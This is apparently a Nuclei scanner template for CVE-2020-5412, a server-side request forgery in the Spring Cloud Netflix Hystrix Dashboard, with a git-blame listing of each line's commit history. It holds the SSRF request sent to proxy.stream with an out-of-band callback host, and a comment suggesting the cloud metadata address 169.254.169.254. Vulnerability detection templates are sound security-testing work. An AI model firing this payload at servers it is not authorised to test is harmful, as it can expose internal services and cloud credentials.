nuclei-templates/cves/2020/CVE-2020-5412.yaml

id: CVE-2020-5412

info:
  name: Full-read SSRF in Spring Cloud Netflix (Hystrix Dashboard)
  author: dwisiswant0
  severity: medium
  description: Spring Cloud Netflix, versions 2.2.x prior to 2.2.4, versions 2.1.x prior to 2.1.6, and older unsupported versions allow applications to use the Hystrix Dashboard proxy.stream endpoint to make requests
    to any server reachable by the server hosting the dashboard. A malicious user, or attacker, can send a request to other servers that should not be exposed publicly.
  reference:
    - https://tanzu.vmware.com/security/cve-2020-5412
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2020-5412
    cwe-id: CWE-610
  tags: cve,cve2020,ssrf,springcloud

requests:
  - method: GET
    path:
      - "{{BaseURL}}/proxy.stream?origin=http://{{interactsh-url}}"

      # To get crithit, try http://169.254.169.254/latest/metadata/

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: header
        words:
          - "Jelly"

      - type: status
        status:
          - 200
misc changes 2021-01-02 04:56:15 +00:00			`id: CVE-2020-5412`
:fire: Add CVE-2020-5412 2020-09-01 13:24:39 +00:00
			`info:`
:pencil2: Update template name 2020-09-01 13:26:37 +00:00			`name: Full-read SSRF in Spring Cloud Netflix (Hystrix Dashboard)`
:fire: Add CVE-2020-5412 2020-09-01 13:24:39 +00:00			`author: dwisiswant0`
:hotsprings: Update severity 2020-09-01 13:25:49 +00:00			`severity: medium`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`description: Spring Cloud Netflix, versions 2.2.x prior to 2.2.4, versions 2.1.x prior to 2.1.6, and older unsupported versions allow applications to use the Hystrix Dashboard proxy.stream endpoint to make requests`
			`to any server reachable by the server hosting the dashboard. A malicious user, or attacker, can send a request to other servers that should not be exposed publicly.`
			`reference:`
			`- https://tanzu.vmware.com/security/cve-2020-5412`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`classification:`
			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`cvss-score: 6.5`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`cve-id: CVE-2020-5412`
			`cwe-id: CWE-610`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`tags: cve,cve2020,ssrf,springcloud`
:fire: Add CVE-2020-5412 2020-09-01 13:24:39 +00:00
			`requests:`
			`- method: GET`
			`path:`
Update CVE-2020-5412.yaml 2022-03-22 06:02:56 +00:00			`- "{{BaseURL}}/proxy.stream?origin=http://{{interactsh-url}}"`
Update CVE-2020-5412.yaml 2020-09-01 13:32:57 +00:00
			`# To get crithit, try http://169.254.169.254/latest/metadata/`

:fire: Add CVE-2020-5412 2020-09-01 13:24:39 +00:00			`matchers-condition: and`
			`matchers:`
			`- type: word`
Update CVE-2020-5412.yaml 2022-03-22 05:55:29 +00:00			`part: interactsh_protocol`
:fire: Add CVE-2020-5412 2020-09-01 13:24:39 +00:00			`words:`
Update CVE-2020-5412.yaml 2022-03-22 05:55:29 +00:00			`- "http"`

:fire: Add CVE-2020-5412 2020-09-01 13:24:39 +00:00			`- type: word`
Update CVE-2020-5412.yaml 2022-03-22 05:55:29 +00:00			`part: header`
:fire: Add CVE-2020-5412 2020-09-01 13:24:39 +00:00			`words:`
			`- "Jelly"`
Update CVE-2020-5412.yaml 2022-03-22 05:55:29 +00:00
:fire: Add CVE-2020-5412 2020-09-01 13:24:39 +00:00			`- type: status`
			`status:`
			`- 200`